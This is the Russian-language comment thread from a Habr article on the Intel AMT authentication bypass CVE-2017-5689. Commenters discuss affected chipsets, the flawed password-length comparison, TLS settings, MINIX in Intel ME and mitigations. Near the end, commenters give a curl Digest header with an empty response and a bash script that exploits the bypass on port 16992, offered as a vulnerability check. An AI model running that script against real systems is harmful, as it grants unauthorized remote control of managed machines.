Комментарии 43
Так всё же, подвержены ли этой уязвимости «десктопные» платы, где AMT не поддерживется?
Вот тут товарищ утверждает, что интеловская утилита заявила, что его плата на чипсете H97 уязвима. Я подозреваю, что утилита ориентируется лишь на версию Intel ME, не глядя на то, доступна ли AMT.
Вот тут товарищ утверждает, что интеловская утилита заявила, что его плата на чипсете H97 уязвима. Я подозреваю, что утилита ориентируется лишь на версию Intel ME, не глядя на то, доступна ли AMT.
В статье указано грубое деление чипсетов, где Intel SBT подразумевается у настольных чипсетов B77 и выше.
Размер модуля SBT в Intel ME в разы меньше модуля AMT, потому требования много меньше (и, например, на мобильных он мог быть практически с любым чипсетом). В попытках пристроить технологии «для малого бизнеса», Intel экспериментировал, пытаясь найти подходящую нишу (как среднее между «корпоративным» и «для обычных пользователей»), что дало на выходе включение SBT (или другое название — Small Business Advantage — SBA) и в настольные чипсеты более новых поколений Hxx, например, из вашей ссылки H97. Потому в этом плане утилита, скорей всего права — найдя в системе возможность использования (не обязательно активированную) технологии Intel SBT — она написала про уязвимость.
Т.е. утилите без разницы — есть ли реально что-то в вашей системе, стоит бит 3 или 5 — значит система «потенциально уязвима». Однако если в случае AMT понятно, как можно эксплуатировать подобную дырку, то в случае SBA/SBT это совсем не так, ибо если грубо, то SBT это AMT минус сетевой интерфейс (т.е. лишь локальный и так называемый inbound в отличие от поддержки outbound — внеполосного доступа у АМТ, когда её трафик перехватывается до ОС) плюс работа исключительно в режиме CCM (Client Control Mode) — ограниченный по фукнционалу (по отношению к АМТ), а также с ограниченным набором возможностей — в первую очередь это обычно включение-выключение по расписанию с помощью имеющегося у AMT «будильника» (собственно — это и есть «использование функционала АМТ»).
Итого, говорить о уязвимости по отношению к SBT можно, но на практике она, в отличие от дырки АМТ, скажем обтекаемо, сложно (мало, не) применима. Но, конечно, это не отменяет наличие дырки и при наличии обновления, те, кто морально страдает от данного факта, может обновиться.
Размер модуля SBT в Intel ME в разы меньше модуля AMT, потому требования много меньше (и, например, на мобильных он мог быть практически с любым чипсетом). В попытках пристроить технологии «для малого бизнеса», Intel экспериментировал, пытаясь найти подходящую нишу (как среднее между «корпоративным» и «для обычных пользователей»), что дало на выходе включение SBT (или другое название — Small Business Advantage — SBA) и в настольные чипсеты более новых поколений Hxx, например, из вашей ссылки H97. Потому в этом плане утилита, скорей всего права — найдя в системе возможность использования (не обязательно активированную) технологии Intel SBT — она написала про уязвимость.
vPro Verification Table Parameter Definitions
MeCapabilities: 12 bytes of data.
Bytes 0-3: SKU/Capabilities
Bit 0 — ME enabled/disabled (1 = Enabled)
Bit 1 — Intel QST FW support (1 = Supported)
Bit 2 — Intel ASF FW support (1 = Supported)
Bit 3 — Intel AMT FW support (1 = Supported)
Bit 4 — Reserved for future capabilities (must be set to “0”).
Bit 5 – Intel SBT FW support (1 = Supported)
Bit 6 – Intel Level III management (1 = Supported)*
7-31 — Reserved for future capabilities (must be set to “0”).
Bytes 4-11: ME FW Version.
Bits 32:47 — ME FW Minor Version.
Bits 48:63 — ME FW Major Version.
Bits 64:79 — ME FW Build Number.
Bits 80:95 — ME FW Hotfix Number.
Note: If ME is disabled then other data cannot be retrieved.
*Level III management is no longer supported beginning in Release 9.0.
Bytes 0-3: SKU/Capabilities
Bit 0 — ME enabled/disabled (1 = Enabled)
Bit 1 — Intel QST FW support (1 = Supported)
Bit 2 — Intel ASF FW support (1 = Supported)
Bit 3 — Intel AMT FW support (1 = Supported)
Bit 4 — Reserved for future capabilities (must be set to “0”).
Bit 5 – Intel SBT FW support (1 = Supported)
Bit 6 – Intel Level III management (1 = Supported)*
7-31 — Reserved for future capabilities (must be set to “0”).
Bytes 4-11: ME FW Version.
Bits 32:47 — ME FW Minor Version.
Bits 48:63 — ME FW Major Version.
Bits 64:79 — ME FW Build Number.
Bits 80:95 — ME FW Hotfix Number.
Note: If ME is disabled then other data cannot be retrieved.
*Level III management is no longer supported beginning in Release 9.0.
Т.е. утилите без разницы — есть ли реально что-то в вашей системе, стоит бит 3 или 5 — значит система «потенциально уязвима». Однако если в случае AMT понятно, как можно эксплуатировать подобную дырку, то в случае SBA/SBT это совсем не так, ибо если грубо, то SBT это AMT минус сетевой интерфейс (т.е. лишь локальный и так называемый inbound в отличие от поддержки outbound — внеполосного доступа у АМТ, когда её трафик перехватывается до ОС) плюс работа исключительно в режиме CCM (Client Control Mode) — ограниченный по фукнционалу (по отношению к АМТ), а также с ограниченным набором возможностей — в первую очередь это обычно включение-выключение по расписанию с помощью имеющегося у AMT «будильника» (собственно — это и есть «использование функционала АМТ»).
Итого, говорить о уязвимости по отношению к SBT можно, но на практике она, в отличие от дырки АМТ, скажем обтекаемо, сложно (мало, не) применима. Но, конечно, это не отменяет наличие дырки и при наличии обновления, те, кто морально страдает от данного факта, может обновиться.
- Каковы по мнению автора перспективы технологии RedFish?
- AMT и RedFish это взаимно дополняющие партнеры, конкуренты или другой вариант?
- Не сыграет ли описанная ситуация в пользу технологии RedFish ?
Всё-таки как не повлияло наличие технологии Intel AMT на IPMI, так она (или же её кончина) не повлияет и на RedFish.
Intel AMT поддерживает RMCP (порты 623/664), собственно, это, как поддержка DASH и прочих других признанных промышленных стандартов, было требованием интегрирования в имеющуюся корпоративную инфраструктуру.
RedFish, мне кажется, просто новая инкарнация IPMI (в частности — из-за использования таких морально древних протоколов как RMCP). При чём, не обязательно успешная, как и всё в таком страшно консервативном сегменте, как серверный.
Intel AMT поддерживает RMCP (порты 623/664), собственно, это, как поддержка DASH и прочих других признанных промышленных стандартов, было требованием интегрирования в имеющуюся корпоративную инфраструктуру.
RedFish, мне кажется, просто новая инкарнация IPMI (в частности — из-за использования таких морально древних протоколов как RMCP). При чём, не обязательно успешная, как и всё в таком страшно консервативном сегменте, как серверный.
Существует ли открытый и формализованный алгоритм детектирования AMT на заданной платформе (например, UEFI-протокол с заданным GUID)? Вопрос именно о динамическом детектировании в смысле чтения регистров, служебных полей, таблиц и т.п., а не о проверке модели платы или чипсета по заранее составленной базе данных.
Вопрос не очень по теме — какие вообще сертификаты нормально работают с AMT? Q97, прошивка 9.1.41.3024. Установил сертификат Let's Encrypt. В результате в IE11, Opera 12 всё работает, Firefox 53.0.2, Chrome 57.0.2987.133 — SSL_ERROR_BAD_MAC_ALERT.
TLS 1.0 only. Потому старая Опера и работает, во всех современных принудительно включается неподдерживаемый Intel AMT протокол TLS1.2.
Включить TLS 1.0 в новом Chrome проблематично (если подскажете как — спасибо), а в Firefox в about:config поставьте security.tls.version.max в 1 (единичку).
Однако это касается протокола. Если же речь про вообще решение проблемы с дыркой АМТ, то это два шага — создать и добавить TLS-сертификаты плюс включить mutual:
Включить TLS 1.0 в новом Chrome проблематично (если подскажете как — спасибо), а в Firefox в about:config поставьте security.tls.version.max в 1 (единичку).
Однако это касается протокола. Если же речь про вообще решение проблемы с дыркой АМТ, то это два шага — создать и добавить TLS-сертификаты плюс включить mutual:
- Настройка TLS-сертификтов для Intel AMT (на примере старого «коммандера», но с новым аналогично)
- Настройка взаимной аутентификации для AMT («mutual auth»)
А функцию проверки сертификата писал тот же программист?
Это другой уровень во всех смыслах данного слова. Можно сравнить с уязвимостью/ошибкой в приложении на PHP и вероятностью уязвимости/ошибки в nginx/Apache.
Понимаю Вашу мотивацию и нежелание отключать AMT, но наличие такой дыры делает очень вероятным наличие других дыр. Не знаю, есть ли они там на самом деле, была ли эта ошибка следствием трагической случайности или системного подхода "пофиг на безопасность" — но сейчас куча людей набросилась на новый лакомый кусочек в поисках новых дыр… или набросятся, как только эксплуатация этой дыры перестанет приносить достаточные дивиденды. Так что до проведения (желательно — публичного) внешнего аудита безопасности исходников AMT держать системы с доступом к AMT из интернета — значит нарываться на неприятности.
Понимаю Вашу мотивацию и нежелание отключать AMT
Какова же эта мотивация?
наличие такой дыры делает очень вероятным наличие других дыр
Наличие «такой дыры» обозначает всего лишь недостаточное тестирование. А недостаточное тестирование обозначает то, что технология AMT, выражаясь дипломатично, не является «приоритетным направлением» для Intel и давно.
грустная история
Эта тема — Intel AMT зарождение, распил расцвет и осиновый кол под номером CVE-2017-5689 закат — вообще, грустная история, достойная отдельной статьи, постараюсь написать, когда будет совсем плохо.
Немного про «эксплуатация этой дыры». Intel AMT в общем случае подразумевает корпоративный сегмент — защищённая от посторонних локальная сеть, политики безопасности и т.п. При их несоблюдении, вам, действительно, в каком-то интернет-кафе шутники запросто смогут вероломно выключить/включить/перезагрузить АМТ-систему. Однако на этом длинный список ваших неприятностей обычно заканчивается и его сложно выделить на фоне белого шума всех других уязвимостей, которые возникают каждый день. Это никак не попытка замазать грубую, имеющую место, ошибку, однако с учётом многолетнего опыта работы с Intel AMT, я относился бы к таким потенциальным взломщикам даже с некоторой долей сочувствия — хорошо понимая, через что им пришлось пройти, чтобы нагло перезагрузить ваш ноутбук.
Касаемо же фобии Intel ME — это ещё одна отдельная больш(н)ая тема, в большей степени имеющая не техническую основу, а психологическую.
наличие такой дыры делает очень вероятным наличие других дыр
Наличие «такой дыры» обозначает всего лишь недостаточное тестирование.
С точки зрения менеджера или админа — да. Потому что оценивается причина, по которой ошибка попала в продакшн.
С точки зрения разработчика — нет, это означает именно то, что написал я. Потому что оценивается причина, по которой такой код вообще попал в репо (был кем-то написан, прошёл чьё-то ревью, и был кем-то смержен в основную ветку). Если написанием кода в столь нежном и критичном месте занимается человек, который способен допустить такую грубую ошибку, и его код проходит ревью (либо ревью вообще не делается для таких критичных кусков кода) — это многое говорит о процессе разработки в целом и отношении к безопасности кода в целом. Такие ошибки в принципе не должны доходить до тестировщиков, если безопасность хоть как-то учитывается при разработке.
Лучше думать о востребованности/неуловимости этого Джо.
Возможно, не у Вас отличные тест съюты, а — вы просто не нужны белым/черным шапочникам подходящего уровня.
Я уверен на 99,9%, что все разработчики и ПМ, имеющие авторизации в C/C++ и не только, после бюллетня от Интела и описания уязвимости, проверили свои кейсы на наличие теста пароля с нулевой длинной.
Так что не скромничайте — жгите дальше про критичность и грубые ошибки…
Возможно, не у Вас отличные тест съюты, а — вы просто не нужны белым/черным шапочникам подходящего уровня.
Я уверен на 99,9%, что все разработчики и ПМ, имеющие авторизации в C/C++ и не только, после бюллетня от Интела и описания уязвимости, проверили свои кейсы на наличие теста пароля с нулевой длинной.
Так что не скромничайте — жгите дальше про критичность и грубые ошибки…
> Я уверен на 99,9%, что все разработчики и ПМ, имеющие авторизации в C/C++ и не только, после бюллетня от Интела и описания уязвимости, проверили свои кейсы на наличие теста пароля с нулевой длинной.
Просто Вы — романтик. А на практике те разработчики, которые беспокоятся о безопасности, ничего проверять не стали, потому что у них давно поставлены процессы и выработано определённое отношение к коду, при котором такие баги не проходят, а если и проходят, то в настолько неочевидных случаях, что просматривать быстренько код после чтения статьи на хабре бессмысленно. А те разработчики, которые о безопасности особо не задумываются — тоже не побегут ничего проверять, потому что им тупо пофигу.
Просто Вы — романтик. А на практике те разработчики, которые беспокоятся о безопасности, ничего проверять не стали, потому что у них давно поставлены процессы и выработано определённое отношение к коду, при котором такие баги не проходят, а если и проходят, то в настолько неочевидных случаях, что просматривать быстренько код после чтения статьи на хабре бессмысленно. А те разработчики, которые о безопасности особо не задумываются — тоже не побегут ничего проверять, потому что им тупо пофигу.
не длину передаваемого авторизующимся юзером, а установленного пароля.Правильнее:
1. длину не передаваемого авторизующимся юзером, а установленного пароля плюс один.
2. длину передаваемого авторизующимся юзером пароля плюс один.
Автор попытался исправить ошибку и сделал свою.
А ещё правильнее, наверное, было бы использовать в этом случае просто strcmp и не передавать вообще никакую длину. Нужно же строки целиком сравнивать, а не их подстроки. Интересно, почему программист из Intel так сделал: это «микрооптимизация» такая или иррациональный страх не обнаружить завершающего нуля в конце строки?
Это слишком неопределённое гадание. Но, раз уж это чистый си, то возможно что у них практикуется выделять память под максимальный размер без завершающего нуля. Если значение короче, то ноль на месте, если максимальное, то неявно. Тогда надо указывать некую константу, максимальный размер пароля.
Сравнивать строки, полученные по сети с помощью strcmp — прямой путь к выстрелу в ногу.
Можно добавить, что Intel ME скорее всего сделан на Minix 3.
ThreadX там, если верить информации из интернетов.
Архитектурно раньше всё крутилось на ARC, потом сделали 2 ядра x86. В последних версиях добавили снова третье ядро ARC.
Архитектурно раньше всё крутилось на ARC, потом сделали 2 ядра x86. В последних версиях добавили снова третье ядро ARC.
Ну то, что пслд раскопали содержат код из minix 3
We are still unable to build an overall picture of ME, due to Huffman compression of the kernel and syslib code. However, it is possible to analyze TXE (Trusted Execution Engine, the equivalent of ME for Intel Atom CPUs) thanks to the absence of Huffman compression.
In addition, when we looked inside the decompressed vfs module, we encountered the strings “FS: bogus child for forking” and “FS: forking on top of in-use child,” which clearly originate from Minix3 code. It would seem that ME 11 is based on the MINIX 3 OS developed by Andrew Tanenbaum :)
http://blog.ptsecurity.com/2017/04/intel-me-way-of-static-analysis.html
We are still unable to build an overall picture of ME, due to Huffman compression of the kernel and syslib code. However, it is possible to analyze TXE (Trusted Execution Engine, the equivalent of ME for Intel Atom CPUs) thanks to the absence of Huffman compression.
In addition, when we looked inside the decompressed vfs module, we encountered the strings “FS: bogus child for forking” and “FS: forking on top of in-use child,” which clearly originate from Minix3 code. It would seem that ME 11 is based on the MINIX 3 OS developed by Andrew Tanenbaum :)
http://blog.ptsecurity.com/2017/04/intel-me-way-of-static-analysis.html
Уточнение — это относится к 11 версии.
https://www.youtube.com/watch?v=2_aokrfcoUk&feature=youtu.be&t=52m6s
https://www.youtube.com/watch?v=2_aokrfcoUk&feature=youtu.be&t=52m6s
Что-то асмовский код похож больно на ARM. Как так? внутри интела живет кусочек арма?
Кто-нибудь в курсе, откуда у Embedi незашифрованная прошивка AMT? Я думал, все прошивки AMT всегда идут в зашифрованном виде.
Есть утилита Unhuffme v2.4 для распаковки/расшифрования части кода Intel ME, которая содержится в прошивке от производителей системной платы.
PS: но это не весь код, необходимый для полноценной работы Intel ME.
PS: но это не весь код, необходимый для полноценной работы Intel ME.
НЛО прилетело и опубликовало эту надпись здесь
Порты 16992 и 16993 закрыть в коммутаторе и все, имхо.
Если вы их перед этим не пробрасывали, то и закрывать незачем. Технология Intel AMT по дефолту подразумевает локальную сеть (потому за роутером она, что логично, не работает — без его настройки под это).
В случае Intel AMT, сконфигурированной на использование Intel MPS (Manageability Proxy Server) или так называемый режим CIRA (Client Initiated Remote Access) — никакие закрытые порты не помогут (т.к. это исходящий трафик). Однако такая система (сделанная вами или до вас) не будет (напрямую, через веб) подвержена данной уязвимости (с некоторой поправкой на то, что адрес MPS-сервера известен лишь вам), т.к. подключиться к веб-интерфейсу через MPS не получится. Хотя сама дырка останется и теоретически её задействовать можно. Но «коммутаторы» тут точно ни при чём.
В случае Intel AMT, сконфигурированной на использование Intel MPS (Manageability Proxy Server) или так называемый режим CIRA (Client Initiated Remote Access) — никакие закрытые порты не помогут (т.к. это исходящий трафик). Однако такая система (сделанная вами или до вас) не будет (напрямую, через веб) подвержена данной уязвимости (с некоторой поправкой на то, что адрес MPS-сервера известен лишь вам), т.к. подключиться к веб-интерфейсу через MPS не получится. Хотя сама дырка останется и теоретически её задействовать можно. Но «коммутаторы» тут точно ни при чём.
Пока лучшая статья по теме. Остальные были в виде сухих выдержек или панических криков.
Поддержка поддержка AMT в BIOS
Лишнее слово.
У меня непатченный bios. Решил проверить ваш способ, настроил ради этого AMT )
Получил real/nonce (кстати, это же можно с первого раза получить, зачем два запроса?), шлем их в заголовке «Authorization», так?
Т.е. типа того:
Authorization: Digest username=«admin», realm=«Digest:B3C97E62E59CB92AB6A6EB26AA4771B1», nonce=«yMMSAAQFAAD3wJyN144HDITgcPb+t53A», uri="/index.htm", qop=auth, nc=, cnonce="", response="", opaque=""
Но проц отвечает редиректом на страницу tokenexp.html
Получил real/nonce (кстати, это же можно с первого раза получить, зачем два запроса?), шлем их в заголовке «Authorization», так?
Т.е. типа того:
Authorization: Digest username=«admin», realm=«Digest:B3C97E62E59CB92AB6A6EB26AA4771B1», nonce=«yMMSAAQFAAD3wJyN144HDITgcPb+t53A», uri="/index.htm", qop=auth, nc=, cnonce="", response="", opaque=""
Но проц отвечает редиректом на страницу tokenexp.html
Мы на основе статьи написали простой bash-скрипт для проверки этой уязвимости (test.sh):
IP=$1
NONCE=$2
curl "http://$IP:16992/index.htm?" \
-v \
-H "Authorization: Digest username=\"admin\", realm=\"Digest:99770000000000000000000000000000\", nonce=\"$NONCE\", uri=\"/index.htm?\", response=\"\", qop=auth, nc=, cnonce=\"$CNONCE\"" \
-H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8,ru;q=0.6' \
-H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Referer: http://10.0.0.111:16992/index.htm?' \
-H 'Connection: keep-alive' --compressed ;Запускаем первый раз и получаем nonce:
./test.sh 10.0.0.12
...
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: Digest realm="Digest:D36A0000000000000000000000000000", nonce="KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W",stale="false",qop="auth"
< Content-Type: text/html
...Затем во втором аргументе используем полученный nonce:
./test.sh 10.0.0.12 `KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W`А можно ли обновлять BIOS из linux напрямую?
Для Windows есть такая возможность.
В теории — можно. Современные uefi поддерживают capsule updates.
На dell xps15 9560 я не стал использовать fwupdate. Просто положил update (exe'шник) на ESP (efi system partition, у меня совпадает с /boot), выбрал при перезагрузке из меню firmware update, там нужный файл и дождался окончания обновления.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
CVE-2017-5689 — уязвимость Intel AMT в подробностях